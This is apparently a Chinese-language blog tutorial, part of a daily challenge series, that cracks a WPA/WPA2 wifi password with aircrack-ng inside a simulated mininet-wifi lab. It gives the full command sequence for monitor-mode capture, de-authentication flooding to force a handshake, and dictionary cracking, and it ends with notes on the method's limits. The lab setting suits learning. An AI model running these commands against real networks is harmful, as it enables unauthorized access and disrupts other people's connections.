iT邦幫忙

2021 iThome 鐵人賽

DAY 27
0
自我挑戰組

FRIENDS系列 第 27

Day 27: 暴力破解 WPA/WPA2 加密 wifi 密碼

  • 分享至 

  • xImage
  •  

Day 27: 暴力破解 WPA/WPA2 加密 wifi 密碼

tags: Others 自我挑戰

方法: 使用 aircrack-ng 軟體套件

實驗環境

模擬情境

sta 1: 攻擊者
透過 aircrack-ng 軟體套件進行密碼攻擊

sta 2 sta3 加入 ap1 裡頭

Command

左下click > System Tools > Xterm

在有網路的狀態下,裝編輯器-gedit

sudo apt install gedit

斷網

sudo systemctl stop NetworkManager

先切換到mininet-wifi/examples
copy authentication.py 到 /tmp,
切換到/tmp,對authentication.py進行編輯。

cd mininet-wifi/examples
cp authentication.py /tmp
cd /tmp
gedit authentication.py

編輯成:
把 sta1 passwd,encrypt 拿掉;
複製 sat2 貼到下一行,改成sta3;
在addLink區塊,改成sta2,sta3。

建立環境

sudo python authentication.py

在環境中,開啟終端

xterm sta1 sta1 #為了區別 以下標記sta1(1),sta1(2)
sta2 ping sta3  #平常時刻:連線正常;攻擊時刻:會中斷
  • 把 sta1 的網卡變成monitor mode
    In sta1(1):

    iwconfig #查看網路卡
    airmon-ng start sta1-wlan0 # yes 
    
    iwconfig # 監聽模式 Mode: Monitor
    
    airodump-ng sta1-wlan0mon #搜尋附近基地台
    # ssid: simplewifi
    # bssid: 02:00:00:00:03:00
    # 可以觀察到 兩台主機 sta1,sta2 有連到基地台
    # channel: 1
    
  • 進行封包收集
    In sta1(1):

    airodump-ng -w /tmp/wpatest -c 1 --bssid 02:00:00:00:03:00 sta1-wlan0mon
    
  • 進行攻擊
    主要是 de-authentication造成斷網,重新認證
    In sta1(2):

    aireplay -0 10 -a 02:00:00:00:03:00 --ignore-nagative-one sta1-wlan0mon
    # -0: de-authentication的封包
    # -0 10: de-authentication的封包 送十次
    # -a 攻擊對象(bssid)設定
    可以觀察到sta2與sta3有斷線的情況
    
  • WPA handshake
    In sta1(1):
    可以看到 WPA handshake
    PS: 如果沒有看到WPA handshake的封包,就不行進行破解

  • 進行破解
    準備密碼檔: password.lst

    aircrack-ng 有內建陽春版的字典檔,其他可以去網路上 Download

    or

    程式生成所有可能密碼

    aircrack-ng -w password.lst /tmp/wpatest*.cap
    # 結果顯示 KEY FOUND![123456789a] 
    
  • 驗收
    authentication.py中 sta2,sta3 的密碼(passwd='123456789a'),
    對照 KEY FOUND![123456789a] 是一樣的,代表破解成功!

YT

mininet-wifi 4

Reference

使用 Aircrack-ng 暴力破解 WPA/WPA2 加密 wifi 密碼

限制

需要密碼檔(password.lst) 夠強大,且station使用AP 上網,
且攻擊者網卡有支援監聽模式的狀態下,才有機會破解密碼。

如果密碼檔包含所有密碼組合,破解就會是時間的問題!

WPA2 提供最高 63 位元長度的密碼


上一篇
Day 26: LeetCode Hard+Medium
下一篇
Day 28 Easy x 2
系列文
FRIENDS30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言